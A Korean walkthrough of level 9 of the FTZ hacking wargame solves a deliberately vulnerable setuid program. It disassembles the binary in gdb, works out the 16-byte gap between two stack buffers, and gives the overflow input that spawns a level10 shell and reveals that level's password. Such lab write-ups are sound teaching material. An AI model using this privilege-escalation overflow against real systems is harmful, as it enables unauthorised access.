[level9@ftz level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 )
{
printf("Good Skill!\n");
setreuid( 3010, 3010 );
system("/bin/bash");
}
}
이를 이용하여 level10의 권한을 얻어라.
ls 명령어를 이용해서 파일을 출력을 해보면 hint가 있습니다. hint를 봐보면 소스코드가 나오고 이 코드를 이용해서 level 10의 권한을 얻으라고 합니다.
소스코드를 해석해보면
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf,40,stdin); // buf에 표준 입력으로 40 Byte를 받음
if ( strncmp(buf2, "go", 2) == 0 ) // 문자열 buf2가 go랑 같은지 비교
{ // 만약 같다면
printf("Good Skill!\n");
setreuid( 3010, 3010 ); // real uid와 effective uid를 3010으로 변경
system("/bin/bash"); // system 함수를 이용해서 /bin/bash 실행
}
}
fgets() 부분을 봐보면 buf의 크기보다 훨씬 큰 크기의 데이터를 입력받고 있습니다. 그래서 버퍼 오버플로우가 발생합니다.
버퍼 오버플로우 공격을 하기 위해서는 메모리 구조를 알아야 합니다. 그래서 gdb로 분석을 해보겠습니다.
[level9@ftz level9]$ cd /usr/bin
[level9@ftz bin]$ ls -l | grep bof
-rws--x--- 1 level10 level9 12111 Sep 10 2011 bof
[level9@ftz bin]$ gdb -q bof
bof: No such file or directory.
(gdb) disas main
No symbol table is loaded. Use the "file" command.
아무것도 안 나옵니다. 힌트 부분의 소스코드를 따로 컴파일 해서 시도를 해봐야 할거 같습니다.
[level9@ftz tmp]$ vi bof.c
[level9@ftz tmp]$ gcc -o bof bof.c
[level9@ftz tmp]$ ls
bof bof.c
다시 시도를 해보면, 어셈블리어가 출력됩니다.
[level9@ftz tmp]$ gdb -q bof
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048420 <main+0>: push ebp
0x08048421 <main+1>: mov ebp,esp
0x08048423 <main+3>: sub esp,0x28
0x08048426 <main+6>: and esp,0xfffffff0
0x08048429 <main+9>: mov eax,0x0
0x0804842e <main+14>: sub esp,eax
0x08048430 <main+16>: sub esp,0xc
0x08048433 <main+19>: push 0x8048554
0x08048438 <main+24>: call 0x8048350 <printf>
0x0804843d <main+29>: add esp,0x10
0x08048440 <main+32>: sub esp,0x4
0x08048443 <main+35>: push ds:0x8049698
0x08048449 <main+41>: push 0x28
0x0804844b <main+43>: lea eax,[ebp-40]
0x0804844e <main+46>: push eax
0x0804844f <main+47>: call 0x8048320 <fgets>
0x08048454 <main+52>: add esp,0x10
0x08048457 <main+55>: sub esp,0x4
0x0804845a <main+58>: push 0x2
0x0804845c <main+60>: push 0x804856a
0x08048461 <main+65>: lea eax,[ebp-24]
0x08048464 <main+68>: push eax
0x08048465 <main+69>: call 0x8048330 <strncmp>
0x0804846a <main+74>: add esp,0x10
0x0804846d <main+77>: test eax,eax
0x0804846f <main+79>: jne 0x80484a6 <main+134>
0x08048471 <main+81>: sub esp,0xc
0x08048474 <main+84>: push 0x804856d
0x08048479 <main+89>: call 0x8048350 <printf>
0x0804847e <main+94>: add esp,0x10
0x08048481 <main+97>: sub esp,0x8
0x08048484 <main+100>: push 0xbc2
0x08048489 <main+105>: push 0xbc2
0x0804848e <main+110>: call 0x8048360 <setreuid>
0x08048493 <main+115>: add esp,0x10
0x08048496 <main+118>: sub esp,0xc
0x08048499 <main+121>: push 0x804857a
0x0804849e <main+126>: call 0x8048310 <system>
0x080484a3 <main+131>: add esp,0x10
0x080484a6 <main+134>: leave
0x080484a7 <main+135>: ret
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
어셈블리어를 대략적으로 해석해보면
0x08048420 <main+0>: push ebp
0x08048421 <main+1>: mov ebp,esp
0x08048423 <main+3>: sub esp,0x28
0x08048426 <main+6>: and esp,0xfffffff0
0x08048429 <main+9>: mov eax,0x0
0x0804842e <main+14>: sub esp,eax
0x08048430 <main+16>: sub esp,0xc
0x08048433 <main+19>: push 0x8048554
0x08048438 <main+24>: call 0x8048350 <printf>
0x0804843d <main+29>: add esp,0x10
0x08048440 <main+32>: sub esp,0x4
0x08048443 <main+35>: push ds:0x8049698 // stdin
0x08048449 <main+41>: push 0x28 // 28
0x0804844b <main+43>: lea eax,[ebp-40] // eax = buf
0x0804844e <main+46>: push eax // buf
0x0804844f <main+47>: call 0x8048320 <fgets> // fgets(buf, 0x28, stdin)
0x08048454 <main+52>: add esp,0x10
0x08048457 <main+55>: sub esp,0x4
0x0804845a <main+58>: push 0x2 // 2
0x0804845c <main+60>: push 0x804856a // "go"
0x08048461 <main+65>: lea eax,[ebp-24] // eax = buf2
0x08048464 <main+68>: push eax // buf2
0x08048465 <main+69>: call 0x8048330 <strncmp> // strncmp(buf2, "go", 2)
0x0804846a <main+74>: add esp,0x10
0x0804846d <main+77>: test eax,eax // compare strncmp(buf2, "go", 2), 0
0x0804846f <main+79>: jne 0x80484a6 <main+134> // 같지 않으면 main+134로 jump
0x08048471 <main+81>: sub esp,0xc
0x08048474 <main+84>: push 0x804856d // "Good Skill!\n"
0x08048479 <main+89>: call 0x8048350 <printf> // printf("Good Skill!\n")
0x0804847e <main+94>: add esp,0x10
0x08048481 <main+97>: sub esp,0x8
0x08048484 <main+100>: push 0xbc2 // 3010
0x08048489 <main+105>: push 0xbc2 // 3010
0x0804848e <main+110>: call 0x8048360 <setreuid> // setreuid(3010, 3010)
0x08048493 <main+115>: add esp,0x10
0x08048496 <main+118>: sub esp,0xc
0x08048499 <main+121>: push 0x804857a // "/bin/bash"
0x0804849e <main+126>: call 0x8048310 <system> // system("/bin/bash")
0x080484a3 <main+131>: add esp,0x10
0x080484a6 <main+134>: leave
0x080484a7 <main+135>: ret
메모리 구조를 그려보면
buf~buf2까지 거리는 16이기 때문에 A를 16개 입력하고 go를 입력하면 buf2 값이 "go"로 변조되어 쉘이 뜨게 됩니다.
한번 해보면
[level9@ftz tmp]$ bof
It can be overflow : aaaaaaaaaaaaaaaago
Good Skill!
[level10@ftz tmp]$
Good Skill!이 출력되고 user가 level 10으로 변경되었습니다.
[level10@ftz tmp]$ my-pass
Level10 Password is "interesting to hack!"
my-pass 명령어를 입력해보면 Level10의 Password가 출력됩니다.